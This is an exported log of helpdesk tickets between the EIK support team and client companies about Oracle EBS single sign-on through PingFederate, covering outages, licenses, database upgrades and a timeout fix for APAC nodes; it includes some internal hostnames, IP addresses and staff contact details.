PROBLEM DESCRIPTION : Hi Team, Today again we had a major incident and EBS application was inaccessible. Our ping prod APAC engine got down somehow, may be network glitch but the request is not routing to other node when Ping Prod APAC engine got down, which cause the EBS app issue. Please look into this and help ASAP. Thanks

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Lumentum InfoSec, We hope this is a network issue from your side and please let us know if we shall proceed to close this ticket. Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1048> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1049

SUBJECT : Total loss of service for EBS Kit SSO

PROBLEM DESCRIPTION : error attached

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.42  
seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home> created\_by: 48022622549 time: 2021-04-24 05:01:32 -0400

Hi Ahmed, Can we please get on a call to discuss the issue? Please share the meeting invite Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1049> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello support team Thank you for contacting with me please join to meeting Join Meeting

Please just provide me the steps how to generate dbcX file

Hi Ahmed, Please follow the step to generate the DBCX file: ? Place the JAR file EBSdatasource.jar in the \$EIK\_HOME directory & open the terminal/command prompt and navigate to EIK\_HOME directory to execute and generate the EBS Datasource file `java -cp EBSdatasource.jar com.likeminds.ebsauth.v1.EIKDatasource Y` ? In the next step, provide the configuration details of

your environment as mentioned below details Enter the connection factory class:  
oracle.jdbc.pool.OracleDataSource Enter the JDBC URL: jdbc:oracle:thin:@<EBS DB domain  
name>:<EBS DB Port>:<SID> (Use Scan hostnames in case of RAC database) Enter APPS  
username: Enter APPS password: Enter Connection pool name: EBSAuth Enter initial connection  
pool size: 10 Enter min. connection pool size: 10 Enter max. initial pool size: 50 Enter timeout check  
interval(Default is 30 secs): 30 Enter inactive connection timeout (Default is 60 secs): 60 Enter  
validate connection on borrow (true/false): true Enter the EIK username: EIKUSER Enter the EIK  
user password: Enter the Context Path: </Context of the war file> ? ? Ticket URL -  
<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1049> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit  
the ticket link above to view or manage your tickets.-->

Hi Ahmed, Meeting Bridge is not working can you please check and let me know. Ticket URL -  
<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1049> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit  
the ticket link above to view or manage your tickets.-->

Hi Aalrashdi, Can you share the meeting invite to look into the issue. Ticket URL -  
<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1049> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit  
the ticket link above to view or manage your tickets.-->

Hi Ahmed, Gentle follow-up on the issue reported; Can you please let us know if the issue is  
resolved? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1049>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not  
reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Ahmed, Can you send the meeting invite to look into the issue. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1049> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Ahmed, ? ?We hope the issue has been resolved from your end. ?This ticket will be closed as there have been no follow-up escalations since the solution to your query was provided. ?Please open a new ticket should you require assistance from the EIK support team Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1049> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1050

SUBJECT : EIK license expires

PROBLEM DESCRIPTION : Please provide the new cert for oracle EIK. Error message: Reference Code: EIK-LM-7134

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Beatri, I attached the new Prod License file in the Support Portal. Can you send a meeting invite to resolve the issue. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1050> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit

the ticket link above to view or manage your tickets.-->

Hi Erik, Please find the Prod License file in the below attachment. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1050> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Beatri Bennett, Can you please send the meeting invite to solve the issue. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1050> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

-- \*Thank You.\* ?[image: u301.png] <<http://www.likemindsconsulting.com>> \*Reza Hussain\* \*Global Delivery Manager \*Likeminds Consulting Inc m: +1 (972) 363-5106 \*New Jersey | Amsterdam | Chennai | Singapore\* CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

Hi Beatri Bennett, Everything is working fine now? ?? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1050> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



Hi Erik, Thanks for the update. If the issue has been resolved, kindly requesting you to close the ticket in the LikeMinds Helpdesk Portal. ? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1050> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1051

SUBJECT : AWS RDS - PING Mysql DB/Instances - Upgrade

PROBLEM DESCRIPTION : Hi Team, We have 2 mysql instances (prod & non-prod) in AWS RDS for PING application configured. Pls check attached emails for the reference. DBA team need to plan the DB instances upgrade from 8.0.19 to 8.0.20. Please let us know if there will be any impact to the EBS application as there is a conversation attached in the attached email. Please let us know if this upgrade can impact other applications or EBS apps. NOTE: I have attached one email from DBA team and in the attached email there is one more attachment, please look into this for more idea. Below are the details: Production: RDS Instance Name: PING-PROD Hostname: ping-prod.chu8fffb6gxt.us-west-2.rds.amazonaws.com Port: 3306 DB Name: PING\_PROD\_DB Development/Non-prod: RDS Instance Name: PING-DEV Hostname: ping-dev.chu8fffb6gxt.us-west-2.rds.amazonaws.com Port: 3306 DB Name: PING\_DEV\_DB Thanks Vikrant

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 seen\_articles: ["48001172815"] referrer: <https://likemindsconsultinghelp.freshdesk.com/support/solutions/articles/48001172815-deployment-file>

Hi Lumentum InfoSec, Unless we use the MySQL DB in the Adapter which is going to authenticate the users signing on to EBS, it should have no impact on the current SSO process; For further discussions can we get on a call so that we can get a clear picture and proceed further. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1051> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Sure, we can connect on a call to discuss on this. PFA an email conversation which was happened during an issue because of this. To connect on a call, Please block sometime for today 9:30 AM PST to 10:30 AM or tomorrow between 10:30 AM to 12:00 PM PST. Thanks

Hi Team, Please update on this case. Thanks

Hi Team, We are still waiting for your response. We have the upgraded this week, we are running out of time. Please check & get back to us ASAP. Thanks

Hi Lumentum InfoSec, Moving forward, to ensure prompt responses, please do reply to the support thread as public notes may not be alerted to the support engineers. Please Send a meeting link for 10.30 AM PDT (11 PM IST) Tomorrow (8th June) The Support engineers looking into this case will be available to obtain further information on this and provide advice on this particular query Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1051> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, I have scheduled a meeting for today 11 PM IST and sent the invite. Meeting link:

<https://meetings.ringcentral.com/j/1446883249> Thanks

Hi Lumentum InfoSec, From an EIK support standpoint, the next steps we would request is for the Lumentum Ping Admin team to proceed with raising a Support ticket with Pingidentity for clarification on the any impact of the DB upgrade on OAuth clients in Pingfederate (EIK is configured as an OAuth client).Definitive clarification will be provided with which we can move forward. Please share the meeting invite once confirmed with Ping that our support engineers may also join and assist as needed. Feel free to reach out for clarifications. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1051> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Hope you received the necessary support/advice from PingIdentity on your query. Feel free to reach out to us for any assistance on further issues pertaining to the EIK. Please be informed that this ticket will be automatically marked as resolved in 24 hours should there be no further updates on this issue. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1051> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, We have opened a case with the ping support team, whenever we will have a working session with them will let you know and provide the meeting link to join. ?Regards, Vikrant Singh |

Hi Lumentum InfoSec, ?This ticket will be marked as resolved as the issue at hand pertains to PingFederate Configurations and is beyond the scope of EIK support. However, as discussed, we will be providing assistance in the correspondence with PingIdentity Support to clarify any queries

pertaining to the EIK kit that may arise. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1051> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Vikrant Singh 7:55 PM (29 minutes ago) to me, Information.Security Hi LikeMinds Team, PFA email from ping support that we received. Please review and provide your response on that. ?Regards, Vikrant Singh |

EIKsupport LMC <eiksupport@likemindsconsulting.com> 8:58 PM (42 minutes ago) to Vikrant, Information.Security, me Hi Vikrant, Well received. As mentioned in the email thread, the Amazon RDS SQL is currently being used for outbound provisioning. Oauth Grant Data (EIK is an Oauth client) is being stored in Pingfederate's Built-on Hypersonic DB as previous email threads indicate. At this point, the only recommendation we can provide is to go ahead with the advice from Keegan-PingIdentity to test an upgraded instance of the RDS SQL Database with PingFederate in DEV. Regards,EIK Support Team

Vikrant Singh 6:21 PM (37 minutes ago) to me, Sarbjit Hi Tuan, Yes, the upgrade is done. As of now, no user reported any issue. Seems we are good, please close the case. Will let you know in case of any issue or concern. ?Regards, Vikrant Singh |

TICKET DISPLAY ID : 1052

SUBJECT : Oracle EBS(12.2.10) SSO integration through LikeMinds EIK 2.0

PROBLEM DESCRIPTION : Hi, Need information w.r.t the EIK 2.0 SSO supportability with the below mentioned EBS + DB versions. We at Activision are upgrading the EBS and DB to the below

mentioned versions and need information whether the current EIK 2.0 supports the version SSO with below mentioned versions or if there is an upgraded EIK which is required to be used for the same. Oracle EBS version: 12.2.10 Oracle DB version: 19.9 PingFed version: 9.3 Thanks, Vijay.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

The EBS PROD upgrade will go live in Aug-2021.

Hi Vijayendra Boda, As discussed earlier, we're working with the team to provide you a definitive update upon testing EIK internally with the Oracle EBS & DB versions you have shared. Thanks for your patience. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, Thank You for the update. Can You please share if there is an ETA available. Regards, Vijay.

Hi Vijayendra Boda, Apologies for the delayed response. Kindly use the "reply" option when corresponding via freshdesk as new "public note" entries are not notified. We are currently underway with the testing and will provide an update at the earliest possible. Rough ETA would be within the first week of July. We'll keep you posted. Thank you for your patience. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vijayendra Boda, Just wanted to keep you informed that the testing process is nearing

completion. We will provide an update at the earliest. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thank You. Will look forward for the updates. Regards, Vijay.

Hi, Can You please provide an update on the status for the request. Its been more than a week now? Thanks, Vijay.

Hey Guys - do you have an update for us. we are nearing the go-live dates with the versions mentioned above. Please do let us know at the earliest. Thanks, Vijay.

Hi Vijayendra, Extremely sorry for the Delay. Please rest assured that we will be able to provide an update within the first week of August. There have been some unexpected activities that lead to delays but now we are almost at the completion of the End-to-End testing of EIK 2.0 with the Mentioned Oracle EBS and Oracle DB Versions. We are expediting this task with High-Priority and will provide an update to you at the earliest. Thank you for your patience. ?Kindly use the "reply" option on the FreshDesk Portal when sending messages. Public notes are not notified  
Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi - Does the testing look positive? We are very close for the go-live date and any kind of surprises with EIK 2.0 SSO kit will be a big block and would get escalated to the top management. Please let us know. Thanks, Vijay.

Hi Vijayendra Boda, So far the testing is positive. Will send out an update at the earliest, next week. Appreciate your patience Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team <--> This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, Could you please let us know what is tested and what still needs to be tested to certify the EIK tool kit with the mentioned versions. Thanks, Vijay.

Hi Vijayendra Boda, We have performed and successfully completed the testing with our standard Use-case scenarios/test cases with the upgraded versions of the EBS application and Oracle Database. You will be provided with the compatibility certification of EIK 2.2 with Oracle EBS version: 12.2.10 and Oracle DB version: 19.9. Tomorrow (Friday the 20th) Thanks for your patience, Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team <--> This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

?Hi Vijay, Correction: The Oracle DB version tested is 19.3 Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team <--> This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vijayendra, For Quality assurance purposes, the Completed test cases are going through one final check/validation process before being provided to you to ensure complete test coverage of

scenarios especially since this is deployed in Production. Will provide the Certification by Monday or Tuesday at the latest. Once again, we appreciate your patience. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vijayendra, The Testing of EIK 2.0 with Oracle EBS version: 12.2.10 and Oracle DB version: 19c (19.3) has performed successfully and we can Certify their compatibility as well. ? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vijayendra, The Testing of EIK 2.0 with Oracle EBS version: 12.2.10 and Oracle DB version: 19.9 has performed successfully and we can Certify their Compatibility as well. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1052> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1053

SUBJECT : EIK is not printing logs if the user's status is Inactive (Ticket created on behalf of the Client - Office Depot)

PROBLEM DESCRIPTION : EIK isn't printing logs if it is unable to find an active user. EIK does the logging, only when there is a returning or else an exception; In which in this case, the Inactive user is not an exception.

SOLUTION CONVERSATION : Task opened for tracking purposes



Team, What is the status of this ticket? We can have tickets opened for tracking purposes. But don't leave the tickets unattended. Get the status and try to close it. Kr, Vignesh

TICKET DISPLAY ID : 1054

SUBJECT : SSO Failure to EBS after EBS APPS password was reset

PROBLEM DESCRIPTION : It seems the EBS APPS password was reset last weekend and failed to update the PingFed team. We are working to update with a new EIK dbcX file in the Prod environment. We observed the server logs of 3 updated runtime EIK/Pingfederate runtime engine nodes and did not observe any incoming transactions for SSO via EIK. One runtime node is inaccessible at the moment and this has been escalated with the DAI infrastructure team. We will deploy the updated .dbcX file to this node as soon as access is granted and perform testing with the EBS team as well as the end-users. Will discuss the request routing with the DAI team as well. Should the issue persist, as the next troubleshooting step, new.dbcX config files will have to be generated from our end and deployed to ensure that valid files are used.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2021-06-28 09:38:25 UTC

DAI Infrastructure team- Eric, Colter and William have been notified

TICKET DISPLAY ID : 1055

SUBJECT : New APAC-Dev engine - EBS request are failing with 504 error

PROBLEM DESCRIPTION : We've recently set up a new engine in our APAC dev environment; all the EBS requests serving by the new engines are failing with the 504 error; we have opened all the required ports and deployed the EIK kit in the new engine. The issue is ONLY with

the EBS application. Please note APAC load balancer has been set up in Imperva.&nbsp;

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi&nbsp;Lumentum InfoSec, ?your issue is acknowledged and we will be joining the call to diagnose the cause of this.&nbsp; In the meanwhile, kindly send us Additional server logs from the APAC dev node for analysis. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1055>  
Regards, EIK Support Team <--&nbsp;This&nbsp;message is sent from the EIK Support portal.  
Please do not reply directly to this email. Visit the&nbsp;ticket&nbsp;link above to view or manage your&nbsp;tickets.-->

Next troubleshooting Steps: 1. Change EIK Config values to use the APAC node's IP address instead of the Imperva LB domain name 2. Check SSO and EIK functionality by hitting the Specific APAC node's EBSAuthDEV endpoint directly with its IP address 3. If SSO is successful, the issue can be isolated as Imperva configuration. reconfiguration and testing on 22/7/21

The issue is still ongoing. 1. Logs and configuration files across all 3 nodes are requested. Should check all for configuration drift. 2. Lumentum team will check the routing/load-balancing setup internally for the root cause

Sarbjit Kullar 12:20 AM (6 minutes ago)  
to&nbsp;msindhuja@likemindsconsulting.com,&nbsp;EIKsupport,&nbsp;Dipali Attached are the logs that you have requested. &nbsp; Please let us know in case you need anything else from our end.  
&nbsp; Thanks! Simi Kullar

We were on the call and Sarbjit from lumentum was actually able to SSO into EBS with only the APAC node up this is intermittent. We have asked Sarbjit to send us a detailed brief on the flow that causes the intermittent login vs 100% unsuccessful. we are not seeing logs in the server.log file. We can see the requests on the transaction logs though. This is slowing troubleshooting as we cannot pinpoint the root cause of the failure through log messages. As the first step right now, we need to analyze the network traces We might need to replace the EIK war files to fix the logging issue as well

Hi Lumentum Team/Sarbjith, As discussed in the previous call(23/07/2021), please send the log details for Successful and unsuccessful EBS login via the APAC node. The EIK logs that received on Friday has the logs traced till 20/07/2021.&nbsp; In addition to that, please check the successful EBS login via APAC happened by hitting directly EBS URL or via Ping. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1055> Regards, EIK Support Team  
<--&nbsp;This&nbsp;message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the&nbsp;ticket&nbsp;link above to view or manage your&nbsp;tickets.-->

Please find attached logs.&nbsp;

Latest Logs from the troubleshooting session: Vignesh: Possible reasons causing this issue: The JWK URI is an endpoint from PF and is used here to validate the token. I hope the requests to the JWK URI will be routed through the PF LBR here in Lumentum also. Assumption 1 - Since it is a timed out issue on the token validation, there will be a way to adjust the time-out parameter in the code. This may not be the solution here due to Assumption 2&nbsp;below. Assumption 2 - Since we already see the other nodes (different regions with same EIK config) working fine and not receiving such intermittent issues with EIK, the issue seems to happen only in the APAC nodes from time to time. This may sound like the requests to JWK URI are not successfully processed all the time by

the LB. I guess a thorough investigation should be made on the network environment specifically on the APAC region. Vikram: most likely an issue with the `sso-dev.lumentum.com` url availability from the APAC region. Not sure if it's blocked or it's unable to resolve or something else happening in the LB (imperva) and the ELB which is supposed to be the gateway. check on the network, esp the connectivity from the Pingfed box to the sso-dev url. Also I would recommend a cron job running every 10 seconds to the heartbeat URL from the APAC machine to confirm for any access failures. It should be failing from time to time.

Findings: We went through the logs that we captured on Saturday and noticed a few errors on the failed transactions. One of the errors which keep popping up is the OIDC id\_token validation failure. The 'Couldn't retrieve the JWK set' along with 'Read timed out' errors appears during the token validation flow in PingFederate. The below recurring errors that we observe as the root cause of the failed transactions:

1: 2021-07-31 07:42:50,644 ERROR [com.likeminds.ebsauth.service.AuthService] Unable to process the id token com.nimbusds.jose.RemoteKeySourceException: Couldn't retrieve remote JWK set: Read timed out

2: Caused by: java.net.SocketTimeoutException: Read timed out 3: Caused by: java.net.UnknownHostException: ec2.ap-southeast-1.amazonaws.com: Name or service not known

4: 2021-08-01 03:45:58,866 ERROR [org.jgroups.util.TimeScheduler3] JGRP000169: failed executing task MERGE3: InfoSender com.amazonaws.SdkClientException: Unable to execute HTTP request: ec2.ap-southeast-1.amazonaws.com: Name or service not known

Likely cause of the issue: 1. Observations point towards a timed out issue during ID token validation requests sent by the EIK kit to PingFed due to PingFederate's JWKS URI not being successfully processed/resolved consistently by the LoadBalancer at `sso-dev.lumentum.com` Since the EIK war file and config files are identical across all nodes, with the remaining nodes functioning as

intended, we are unable to pinpoint a misconfiguration or defect with the EIK kit itself. Monitoring the cause: 1. We would recommend a cron job running every 10 seconds to PingFederate's heartbeat and JWKS URL from the APAC machine to confirm any access failures. It should fail Intermittently. Based on the results from the monitoring, the necessary networking troubleshooting can be carried out.

Hi Lumentum InfoSec, As discussed, please find the requested steps for the war file replacement (EIK 2.2); 1. EBSAuthDEV.war should be placed inside the PingFederate's server/default/deploy directory; 2. log4j2.xml should be placed inside the EBSAuthDEV directory of \$EIK\_HOME Environment variable location; 3. Restart the PingFederate service to take effect. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1055> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We've deployed the new EIK 2.2 kit, which was shared last week; however, we are still getting the same error on the APAC nodes ?ODIC\_IDTOKEN\_VALIDATION\_FAILURE? I have also attached the log files for your reference.

iyappan: Hello Team, Just to give a quick update regarding today's meeting with lumentum, after updating the new eik war file and adding the jwks\_connect\_timeout=3000 line in the config file. SSO can successfully login to EBS on the servers 10.231.5.57 & 10.231.5.122. pls find the below screenshot.

Hi Lumentum InfoSec, We received an update from our support engineer on the SSO troubleshooting carried out yesterday on the APAC node serviced by the provided EIK kit ( V2.2).

We were informed that the SSO failure was resolved on the APAC node with the deployment of the new EIK kit (V 2.2.0.11) with adjusted parameters that was provided during the call. We'd like to clarify a few points with regards to the updated kit, configuration file, and networking:

1. The `ODIC_IDTOKEN_VALIDATION_FAILURE` errors in requests routed to the APAC occurred due to the read time-outs between the EIK and PingFederate JWKS endpoint as we observed in the log files.
2. The read time-outs occurred due to the network latency in the APAC Region between the EIK kit and PingFederate JWKS endpoint which caused the connections/transactions to exceed the default read timeout configurable for the JWKS endpoint retrieval which is 500 ms.
3. The Only change we have made in the Kit and configuration file to troubleshoot this issue is increase the read timeout from 500 ms to 3000 ms to compensate/adjust for the underlying network latency in the region.

In short, the errors we have been observing can be allied to the latency within the APAC region hosting the EIK/Pingfed nodes, and the EIK kit was patched with an increased read-timeout period to adjust for this. There is no observable issue with the EIK kit itself.

The above gives us an idea of why the Requests to the nodes in the other regions are working as expected.

Please do update us on further testing with the updated kit and config file in the Dev environment.

Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1055>

Regards, EIK Support Team

<--This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Proceeding to close this ticket as the Issues related to the DEV Pingfed/EIK engines in the APAC region have been resolved. For further queries/issues, do open a new ticket as this will help us track them and provide support for the same

Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1055>

Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1056

SUBJECT : EIK Reconnectivity with PingFed

PROBLEM DESCRIPTION : Hello, Our EIK app is integrated with PingFed. We have noticed that every time the PingFed servers are patched and the servers are rebooted, we need to restart our EIK services. However, after we restart the EIK services it takes about 30mins before users can authenticate through the application again. My question is if we restart EIK services, how long should it take to re-establish connectivity to PingFed and/or the EBS database? Is it common that users would need to clear cache before trying to authenticate again? Thanks, Carla Chan

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Edg/92.0.902.62  
seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hello Carla Chan, It is not necessary that you need to restart EIK, for every restart of PingFederate. Do you see the PingFederate authentication page during the failure time window? Also, please share the EIK & PingFederate logs for that particular time window. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1056> Regards, EIK Support Team  
<--&nbsp;This&nbsp;message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the&nbsp;ticket&nbsp;link above to view or manage your&nbsp;tickets.-->

Hi Carla Chan, Can you share the entire logs of EIK & PingFederate which contains the logs of both successful login & failure login (during the issue) of the same user? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1056> Regards, EIK Support Team  
<--&nbsp;This&nbsp;message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the&nbsp;ticket&nbsp;link above to view or manage your&nbsp;tickets.-->

Hi Carla Chan, Gentle follow-up, Did you have a chance to see the issue again? If not you shall temporarily close this ticket & reopen the same when you see the issue again attaching the relevant logs. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1056> Thanks, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, We'll be closing this ticket as no further updates or diagnostics have been communicated thus far. Please open a new ticket on this issue should you require further assistance on this. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1056> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1057

SUBJECT : EBS PRJ1 integration with Ping/EIK

PROBLEM DESCRIPTION : We have raised a ticket for the issue allied to the Subject. For further communications, please refer and respond to this ticket in the support portal as we are unable to track this issue via email. You can send the relevant Meeting details via the portal as well. We would appreciate a brief description of the specific issue you are facing as well as any logs that will help us resolve the issue

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2021-10-04 17:23:15 UTC

Hi Lumentum InfoSec, We have raised a ticket for the issue allied to the Subject. For further communications, please refer to this ticket in the support portal as we are unable to track this issue via email. You can send the relevant Meeting details via the portal as well. We need a brief



description of the specific issue you are facing as well as any logs that will help us resolve the issue

Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1057> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1058

SUBJECT : Unable to login in to EBSqa after refresh

PROBLEM DESCRIPTION : we are unable to login to the EBSQA environment after EBS refresh -

2021-10-04T10:10:03.236-0700 ERROR Request Origination 63.235.13.14

2021-10-04T10:10:03.236-0700 ERROR Unable to obtain SQL Connection

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31

seen\_articles: enterprise\_enabled: false referrer:

<https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Lumentum InfoSec, SQL connection errors commonly occur after an EBS refresh due to changes in the Database, resulting in the EIK not being able to authenticate itself with the Oracle database.

The Fix: A new .DBCX file for the EBSQA environment should be generated and replaced on all EIK instances. Perform the above step and let us know if you continue to see the same errors. In the meanwhile, do send us the complete log file Ticket URL -

